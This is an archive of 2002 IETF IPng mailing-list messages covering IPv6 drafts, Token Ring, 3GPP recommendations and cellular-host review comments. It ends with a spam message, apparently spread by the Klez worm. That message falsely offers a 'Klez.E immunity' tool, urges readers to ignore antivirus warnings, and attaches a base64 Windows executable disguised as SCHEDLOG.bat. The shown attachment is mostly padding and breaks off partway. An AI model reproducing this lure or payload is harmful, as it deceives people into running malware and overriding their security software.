sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3PGIbNC017104; Thu, 25 Apr 2002 09:18:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PGIXGs017093 for ; Thu, 25 Apr 2002 09:18:33 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA12204 for ; Thu, 25 Apr 2002 09:18:33 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA01763 for ; Thu, 25 Apr 2002 10:18:32 -0600 (MDT) Received: from localhost ([3ffe:501:100f:1041::6]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3PGI9o07440; Fri, 26 Apr 2002 01:18:10 +0900 (JST) Date: Fri, 26 Apr 2002 01:18:22 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: hinden@iprg.nokia.com, deering@cisco.com, mrw@windriver.com Cc: ipng@sunroof.eng.sun.com Subject: Re: new rfc2292bis draft In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 19 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 26 Apr 2002 01:17:25 +0900, >>>>> JINMEI Tatuya said: >> I believe the change was based on the consensus on the list and we >> can proceed to the next step with this version, but if you see any >> problems please let me know. > There has been no comment for 3 days. I believe this means the change > is approved by the group, and would like to proceed to the next step. > However, I'm not sure if I need to take an explicit action for this. > Please tell me if I do something. ^^^^^^^^^^^^^^^^^oops, I meant "if I need to do something". JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 10:31:46 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PHVjGs001454; Thu, 25 Apr 2002 10:31:46 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3PHVjSa001453; Thu, 25 Apr 2002 10:31:45 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3PHVdGs001418 for ; Thu, 25 Apr 2002 10:31:40 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA12623 for ; Thu, 25 Apr 2002 10:31:38 -0700 (PDT) Received: from djmaas.org (europa.your-site.com [140.186.45.14]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA21181 for ; Thu, 25 Apr 2002 11:31:33 -0600 (MDT) Received: from jkm153.jason.net ([24.24.80.7]) by djmaas.org ; Thu, 25 Apr 2002 10:53:53 -0400 Received: from maasj (helo=localhost) by jkm153.jason.net with local-esmtp (Exim 3.35 #1 (Debian)) id 170kcv-0007C3-00; Thu, 25 Apr 2002 10:53:41 -0400 Date: Thu, 25 Apr 2002 10:53:41 -0400 (EDT) From: Jason Maas X-X-Sender: maasj@jkm153.jason.net To: Brian E Carpenter cc: Margaret Wasserman , Subject: Re: Documents Ready for DS (RFC2470) In-Reply-To: <3CC7CD6B.6123BA33@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 25 Apr 2002, Brian E Carpenter wrote: >> RFC2470: IPv6 over Token Ring > >I'm told there are bugs in the document, and no known implementations. >So this is a candidate for further sleep, or maybe Historic. I don't know much about token-ring or about bugs in the document, but Linux does have at least an attempted implementation of IPv6 over token-ring. I have IPv6 configured on my Linux PC (kernel 2.4.18, using stock IPv6 implementation, not USAGI) at work (IBM) where I'm on a token-ring network and an ethernet network. I tried sending some ICMPv6 traffic out the token-ring interface and bytes hit the wire, but Ethereal doesn't recognize the packets as IPv6 traffic. I looked at the packet data and I can see the IPv6 header in there. I don't know enough about token-ring to know if all the bytes are correct. Unfortunately, I don't think we have another IPv6 enabled machine on the token-ring LAN at the moment to test with. Jason Maas IBM Endicott, NY -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Apr 25 19:51:28 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3Q2pRGs026273; Thu, 25 Apr 2002 19:51:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3Q2pRa7026270; Thu, 25 Apr 2002 19:51:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3Q2pIGs026217 for ; Thu, 25 Apr 2002 19:51:18 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA11283 for ; Thu, 25 Apr 2002 19:51:15 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA29649 for ; Thu, 25 Apr 2002 19:51:14 -0700 (PDT) Received: from localhost ([3ffe:501:100f:1048:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3Q2p7o12485; Fri, 26 Apr 2002 11:51:08 +0900 (JST) Date: Fri, 26 Apr 2002 11:51:22 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: narten@us.ibm.com Cc: ipng@sunroof.eng.sun.com Subject: Re: new rfc2292bis draft In-Reply-To: References: User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 25 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, since the wg chairs suggested me to send the following note directly to you, I'm resending it: >>>>> On Fri, 26 Apr 2002 01:17:25 +0900, >>>>> JINMEI Tatuya said: >> I believe the change was based on the consensus on the list and we >> can proceed to the next step with this version, but if you see any >> problems please let me know. > There has been no comment for 3 days. I believe this means the change > is approved by the group, and would like to proceed to the next step. > However, I'm not sure if I need to take an explicit action for this. > Please tell me if I need to do something. Could you tell me what I should do for the rfc2292bis draft to proceed to the next step? Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 03:40:49 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QAemGs006528; Fri, 26 Apr 2002 03:40:49 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QAelEU006508; Fri, 26 Apr 2002 03:40:47 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QAeZGs006420 for ; Fri, 26 Apr 2002 03:40:35 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA04378 for ; Fri, 26 Apr 2002 03:40:35 -0700 (PDT) Received: from cichlid.adsl.duke.edu (cichlid.adsl.duke.edu [152.16.64.203]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA14223 for ; Fri, 26 Apr 2002 03:40:35 -0700 (PDT) Received: from cichlid.adsl.duke.edu (narten@localhost) by cichlid.adsl.duke.edu (8.11.6/8.11.6) with ESMTP id g3QAbfO05290; Fri, 26 Apr 2002 06:37:45 -0400 Message-Id: <200204261037.g3QAbfO05290@cichlid.adsl.duke.edu> To: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= cc: ipng@sunroof.eng.sun.com Subject: Re: new rfc2292bis draft In-Reply-To: Message from JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= of "Fri, 26 Apr 2002 11:51:22 +0900." Date: Fri, 26 Apr 2002 06:37:41 -0400 From: Thomas Narten Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Could you tell me what I should do for the rfc2292bis draft to proceed > to the next step? Thanks, I'll take it from here. I need to finish reviewing it and then get it in front of the IESG Thomas -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 05:13:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QCDsGs011435; Fri, 26 Apr 2002 05:13:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QCDsBI011434; Fri, 26 Apr 2002 05:13:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QCDoGs011427 for ; Fri, 26 Apr 2002 05:13:50 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA09951 for ; Fri, 26 Apr 2002 05:13:51 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA03390 for ; Fri, 26 Apr 2002 05:13:50 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA00577; Fri, 26 Apr 2002 08:13:47 -0400 (EDT) Message-Id: <200204261213.IAA00577@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-3gpp-recommend-01.txt Date: Fri, 26 Apr 2002 08:13:47 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Recommendations for IPv6 in 3GPP Standards Author(s) : M. Wasserman Filename : draft-ietf-ipv6-3gpp-recommend-01.txt Pages : 22 Date : 25-Apr-02 This document contains recommendations from the Internet Engineering Task Force (IETF) IPv6 Working Group to the Third Generation Partnership Project (3GPP) community regarding the use of IPv6 in the 3GPP standards. Specifically, this document recommends that the 3GPP: 1. Specify that multiple prefixes may be assigned to each primary PDP context, 2. Require that a given prefix must not be assigned to more than one primary PDP context, and 3. Allow 3GPP nodes to use multiple identifiers within those prefixes, including randomly generated identifiers. The IPv6 Working Group supports the use of IPv6 within 3GPP and offers these recommendations in a spirit of open cooperation between the IPv6 Working Group and the 3GPP community. Since the original publication of this document as an Internet-Draft, the 3GPP has adopted the primary recommendations of this document. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-3gpp-recommend-01.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-3gpp-recommend-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-3gpp-recommend-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020425133841.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-3gpp-recommend-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-3gpp-recommend-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020425133841.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 05:13:39 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QCDdGs011425; Fri, 26 Apr 2002 05:13:39 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QCDdcl011424; Fri, 26 Apr 2002 05:13:39 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QCDZGs011417 for ; Fri, 26 Apr 2002 05:13:35 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA28066 for ; Fri, 26 Apr 2002 05:13:36 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA12813 for ; Fri, 26 Apr 2002 06:13:35 -0600 (MDT) Received: from kenawang ([147.11.233.10]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id FAA17751 for ; Fri, 26 Apr 2002 05:12:45 -0700 (PDT) Message-Id: <4.2.2.20020426081018.01f6e100@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 26 Apr 2002 08:11:43 -0400 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: Review comments on IPv6 for Second and Third Generation Cellular Hosts Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi All, I've attached my comments on "IPv6 for Second and Third Generation Cellular Hosts" with responses from John Loughney. This came out of a more private discussion, but John and I both thought it would be useful to send this to the whole list. Margaret >From: john.loughney@nokia.com >Subject: RE: Preview of IPv6 for Second and Third Generation Cellular Hosts >Date: Fri, 26 Apr 2002 10:42:40 +0300 >Margaret, > >I've been creating a list of issues raised here & possible resolutions - >I hope you send this (or a version) to the list so I can answer there. > >Trimming the recipient list ... > > > General Comment: Document needs some text editing, particularly to > > eliminate run-on sentences and poorly formed paragraphs. > >Can do (I usually save this kind of editing for last ..) > > > Technical Comments: > > > > Section 1.1: > > > > This section should explicitly state that this document is not > > a standard and is not intended to modify the existing IPv6 > > standards. > >Will do. > > > Section 2.1: > > > > Path MTU discovery is a mechanism to save bandwidth, so it may > > be very desireable to implement for cellular hosts. > >Will add text about this, suggesting this with comments. > > > Section 2.4.1: > > > > Neighbor Solicitations and Neighbor Advertisements are not optional > > parts of Neighbor Discovery, and they should not be considered optional > > for cellular hosts. Cellular hosts should implement all of the > > required portions of ND, and use the state machine described in > > the ND specification. If you really believe that these parts of > > ND should be optional, then the ND spec should be re-visited. We > > should not just declare them optional here. > > > > The link layer sub option is link-specific, and it is fine that it > > does not apply to this type of link. > >This we need to add clarifying text as why we think using NA & NS may >be optional in some cases. Hopefully you can comment on this >after we write the text. > > > Section 2.5.1: > > > > DAD is not an optional part of Stateless Address Autoconfiguration, > > and it should not be considered optional for cellular hosts. > > If you really believe that DAD should be optional for some link > > types, we need to re-visit the Stateless Autoconfiguration spec. > > We should not just declare DAD to be optional here. > >I think we (the authors) need to do some thinking on this, as there >is the feeling that 2462 does not apply to the 3GPP network, but >I guess you feel strongly that it does. > > > Section 2.7.1: > > > > The document says: > > > > "To avoid any duplication in link-local addresses > > between the TE and the GGSN, the MT must always reject other > > suggested interface identifiers by the TE. This results in the TE > > always using the interface identifier suggested by the GGSN for its > > link-local address." > > > > What does this mean? I thought that laptops would be able > > to generate privacy addresses using randomly allocated identifiers. > > If not, we have a serious problem. Is this done to avoid the > > need for DAD? > >We may need to fix this text, I think it is not quite right. > > > Section 2.11 (and 2.13): > > > > The document says: > > > > "Cellular hosts should not support configured or automatic > > tunnels to avoid unnecessary tunneling over the air interface." > > > > Why would we want to make this recommendation? There may be > > good reasons for tunneling over the air interface. > >We need to fix the text, we intend to say that tunneling should be >avoided, as it may waste bandwidth - especially if there are other >mechanisms available. > > > Section 2.14: > > > > The document says: > > > > "The Dynamic Host Configuration Protocol for IPv6 [DHCPv6] may be > > used. DHCPv6 is not needed when IPv6 stateless > > autoconfiguration is > > used, and no other functions of DHCPv6 are used." > > > > I don't understand this paragraph. Can a cellular host use DHCP > > to get it address(es)? I would think DHCP would only be useful on > > a cellular host for other types of information. > >We will fix this, stating that DHCPv6 is not needed for stateless auto. >config, but may be useful for configuring othyer types of info. > >Thanks, >John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 26 12:13:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QJDsGs010251; Fri, 26 Apr 2002 12:13:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3QJDs4F010247; Fri, 26 Apr 2002 12:13:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3QJDeGs010152 for ; Fri, 26 Apr 2002 12:13:41 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA23831 for ; Fri, 26 Apr 2002 12:13:40 -0700 (PDT) Received: from mail.hctc.net (ns2.hctc.net [63.172.46.12]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA08122 for ; Fri, 26 Apr 2002 12:13:38 -0700 (PDT) Received: from Kgeyc (ppp-b-47.hctc.net [63.172.47.47]) by mail.hctc.net (8.11.6/8.11.6) with SMTP id g3QJD8E13590 for ; Fri, 26 Apr 2002 14:13:09 -0500 Date: Fri, 26 Apr 2002 14:13:09 -0500 Message-Id: <200204261913.g3QJD8E13590@mail.hctc.net> From: jh To: ipng@sunroof.eng.sun.com Subject: Worm Klez.E immunity MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Wo3lQyRLMoO9 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Wo3lQyRLMoO9 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable Klez.E is the most common world-wide spreading worm.It's very dangerous by corrupting your files.
Because of its very smart stealth and anti-anti-virus technic,most common AV software can't detect or clean it.
We developed this free immunity tool to defeat the malicious virus.
You only need to run this tool once,and then Klez will never come into your PC.
NOTE: Because this tool acts as a fake Klez to fool the real worm,some AV monitor maybe cry when you run it.
If so,Ignore the warning,and select 'continue'.
If you have any question,please mail to me.
--Wo3lQyRLMoO9 Content-Type: application/octet-stream; name=SCHEDLOG.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 